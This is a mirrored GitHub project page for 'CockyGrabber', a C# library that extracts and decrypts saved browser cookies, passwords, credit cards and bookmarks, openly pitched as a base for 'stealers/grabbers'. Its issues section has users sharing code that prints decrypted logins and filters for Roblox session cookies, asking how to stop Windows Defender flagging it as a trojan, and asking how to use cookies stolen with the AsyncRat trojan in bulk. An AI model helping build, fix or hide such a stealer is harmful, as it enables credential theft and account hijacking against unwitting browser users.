Giter Site home page Giter Site logo

moistcoder / cockygrabber Goto Github PK

View Code? Open in Web Editor NEW
139.0 8.0 32.0 282 KB

C# library for the collection of browser information such as cookies, logins, bookmarks and more

License: MIT License

C# 100.00%
cookie login grabber stealer browser password csharp csharp-library csharp-code c-sharp

cockygrabber's Introduction

CockyGrabber

Markdown CockyGrabber icon

CockyGrabber is a C# library that simplifies the collection of browser information such as cookies, logins, bookmarks, credit cards and more. It is also very easy to use and allows you to capture browser information without any special knowledge.

It can be used as a base for your projects like browser information viewers, stealers/grabbers, and more as long as the user/manufacturer of the product using CockyGrabber agrees that the developer(s) of CockyGrabber will not be held responsible for any kind of harm done as it is published for educational purposes and has informational value for browser security research.

CockyGrabber remains discontinued as an active project but maintained as a passion project that may receive occasional updates in the future!
If you got requests or find any bugs, please open an Issue!

Documentation: Table Of Contents


What's Next

  1. Adding more things to grab like saved emails, names, adresses, and extensions.
  2. The Addition of asynchronous funtions
  3. Custom functionality replacing the libraries and packages used by CockyGrabber
  4. The creation of a minimalized file that anyone can easily implement in their Project without referencing CockyGrabber itself OR a VS project solution fully set up with all libraries installed, including Cockygrabber, ready to use.
  5. Constant improvement of the documentation
  6. Support for more browsers
  7. Addition of events (maybe)
  8. Eventually migrating from .NET Framework v.4.8 to the newest version of .NET

End

That's it for now.
I hope you like this little project! ^^

cockygrabber's People

Contributors

moistcoder avatar prorockdev avatar stanley-gf avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cockygrabber's Issues

Windows Defender Reports as Trojan

As soon as I compile and run, Windows Defender reports the EXE file as a Trojan. I think this is likely a false positive. MS doesn't like us tinkering around with SQLite files from other applications. Anyone have any idea how to make Windows Defender NOT report this?

Please Help!

When im using the grabber, it gives me this error:

System.IO.FileNotFoundException: 'Could not load file or assembly 'System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=***********'. The system cannot find the file specified.'

Thanks.

Grabbing cookies doesn't work.

I understand what the error means, but the thing is I cannot edit it or fix it since it takes no overloads. Could someone help me ?|

image

Passwords are still encrypted (Chrome/Opera grabber)

When I try to read the passwords from either chrome or opera, it still returns encrypted passwords as seen here (partially censored them to be safe):
image

This is the code I am using

OperaGrabber grabber = new OperaGrabber(); // Create Grabber
var logins = grabber.GetLogins(); // Collect all Logins with GetLogins()

// Print the Origin(URL), Username value and Password value of every Login:
foreach (Blink.Login login in logins) // Brave is Blink based so it uses Blink.Login
{
    string loginUrl = login.OriginUrl;
    string loginUsername = login.UsernameValue;
    string loginPassword = login.PasswordValue;
    Console.WriteLine($"URL {loginUrl}\nUSERNAME {loginUsername}\nPASSWORD {loginPassword}\n===================================");
}

Console.ReadLine();

Using CockyGrabber 2.2.0 btw

System.IO.DirectoryNotFoundException

I just added the code from the example to my project and when I run it I get this error - System.IO.DirectoryNotFoundException: "Could not find part of the path "C:\Users\PC\AppData\Roaming\Mozilla\Firefox\Profiles"."
I only have Chrome browser installed on my computer.

image

Change JavaScriptConverter to JsonConvert.DeserializeObject

Subject: Request for Enhancements in CokyGrabber: .NET Core Support and Librewolf Integration

Hello,

I am reaching out regarding the functionality of CockyGrabber for extracting bookmarks from Librewolf (Gecko). I have encountered an issue with the current project's lack of support for .NET Core, as I intend to utilize it with .NET 6 or a higher version. Upon using your NuGet package, an error was triggered due to the absence of the file containing "System.Web.Script.Serialization;". To overcome this obstacle, I resorted to manually copying your source code and change it for my usage.

I am kindly requesting the following enhancements to enhance compatibility and functionality:

  1. Replace the JavascriptConverter with JsonConvert.DeserializeObject to facilitate support for dynamic JSON objects in .NET Core:
using Newtonsoft.Json;
dynamic json = JsonConvert.DeserializeObject(File.ReadAllText(profile + BookmarkPath));
  1. Incorporate Librewolf support in the UniversalGrabber feature of CockyGrabber:
public class LibrefoxGrabber : GeckoGrabber
{
    public override string ProfileDirPath => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\librewolf\\Profiles";
}
  1. I believe there may be an error in the documentation regarding the implementation of your own GeckoGrabber, where the base class should not be the BlinkGrabber:
    Link to documentation correction

Thank you for considering these requests.

Help!

I'm having trouble using these cookies recovered using AsyncRat
can't import using any cookie manager
can't convert them
any idea on how to use them in bulk not one by oneIMG_20220309_135804.png

Feature Request: Grab Extensions & Extensions Data folders

This would be a great addition to the Grabber and will allow you to add their extensions and extension settings.

Hell, why not just grab the whole User Data folder ๐Ÿ˜‚

I know it could be a large file, but most of us have gigabit connections and can handle it. ๐Ÿ‘

I'll try to contribute as much as I can, but I work 60 hours a week, plus I try to do freelance work in my free time to earn some extra money.

But thanks for taking over this project and continuing it, because I think it has a lot of potential.

Chromium Password Grabbers not working

Hello,
I am unable to use the Chromium Password Grabbers. They only returned empty lists, but I saw that a caught exception was triggered in the debug output, so I forced breaking at that exception.

This is the exception. "The value can not be null. Parameter: source"
pPlainText.pbData's value is 0x00000000, and as it is a IntPtr, its a nullptr.
image

Might this be some incompatibility with Windows 11? Maybe the Win32 APIs changed?

mac check in GCM failed

This is the error or issue the occurs when i try the statements
"the error is within the attachment"
error output.txt

And this is the program it self

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using CockyGrabber.Grabbers;
using CockyGrabber;
using System.IO;

namespace Test_Ground
{
    internal class Program
    {
        private const string LogFilePath = "AAA.txt";
        static void Main(string[] args)
        {
            Console.Title = "Test Ground - Console Apllication";
            Console.Write("Starting Ground Work");
            Console.WriteLine("");


           // UniversalGrabber g = new UniversalGrabber(); // Create Grabber
            OperaGxGrabber g = new OperaGxGrabber();

            

            File.AppendAllText(LogFilePath, g.GetLogins().ToString()); // Append the grabbed Logins to the log file
            Console.ReadKey();

        }
    }
}

Chrome Profiles, no Default anymore

Some Update ago Chrome changed every Directory.

Chrome created on Default a new Profile and stores the Data inside the Profile

Regex: ^Profile [1-999]$

Some Paths Changes (Password, Cookies, Bookmarks etc)

New Paths:
Local State -> User Data\Local State
Cookies -> Profile 1\Network\Cookies
Bookmarks -> Profile 1
Login Data -> Profile 1
Top Sites -> Profile 1
History -> Profile 1

Maybe i Push an Update

Can help

hey i want to use the program but i have no idea how to use it please can you make a video about the installation

App Crashing

image

Error: CockyGrabber.GrabberException: 'The file that stores the key for the decryption of encrypted values (Local State) could not be found: C:\Users\cuciu\AppData\Roaming\Opera Software\Opera Stable\Local State'

Why is it still crashing my app if I got try - catch blocks

try
{
    OperaGxGrabber grabber = new OperaGxGrabber();
    var cookies = await Task.Run(() => grabber.GetCookies());
    foreach(var cookie in cookies)
    {
        string cookieHostname = cookie.HostKey;
        string cookieName = cookie.Name;
        string cookieValue = cookie.DecryptedValue;
        Console.WriteLine($ "{cookie.HostKey}: {cookie.Name} = {cookie.DecryptedValue}");
        if (cookieName.Contains(".ROBLOSECURITY"))
        {}
    }
}
catch (Exception ex)
{
    Console.WriteLine($ "An error occurred: {ex.Message}");
}

Couldnt Load Type

If i try to use it there will be a exception

System.TypeLoadException: 'Could not load type 'System.Web.Util.Utf16StringValidator' from assembly 'System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=...'.'

i am using .net core 3.1

can anyone help me?

GeckoGrabber & BlinkGrabber are Unreachable.

I'm getting this error when trying to build the application:

2>CSC : error CS2001: Source file 'C:\Users\myname\Desktop\CockyGrabber-main\CockyGrabber\CockyGrabber\EngineGrabbers\GeckoGrabber.cs' could not be found.

2>CSC : error CS2001: Source file 'C:\Users\myname\Desktop\CockyGrabber-main\CockyGrabber\CockyGrabber\EngineGrabbers\BlinkGrabber.cs' could not be found.

Nothing has been changed in the code or folder.
Anything that could be causing this? And how to fix? Thanks.

Feature Request: Grab Bookmarks & Browsing History

You can learn a lot from a users browsing history as well as their Bookmarks, because often times, users will use the OAuth2 "Sign-up Google" or some "Sign-up with GitHub account" instead of manually creating an account, and those do not get added to the Saved Passwords database. When you can grab their browsing history and bookmarks, then you can see a lot more.

YandexBrowser Not Working! Error in GetKey() method of BlinkGrabber

Google Chrome Local State: "os_crypt":{"encrypted_key":
YandexBrowser Local State: "os_crypt":{"checker_state": "counter":0,"encrypted_data":"blabla="},"encrypted_key":

The regular expression in the GetKey() method is written incorrectly. Might be worth using json decoding to solve this.

Possible to make exe?

Is this meant to build a .dll file? When I change it to build an exe file via properties, it has this error:

Error: CS5001	Program does not contain a static 'Main' method suitable for an entry point	CockyGrabber	C:\Users\myname\Desktop\CockyGrabber\CockyGrabber\CSC	1	Active

It's only successful when I build it as a .dll file, not for console window app or exe.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.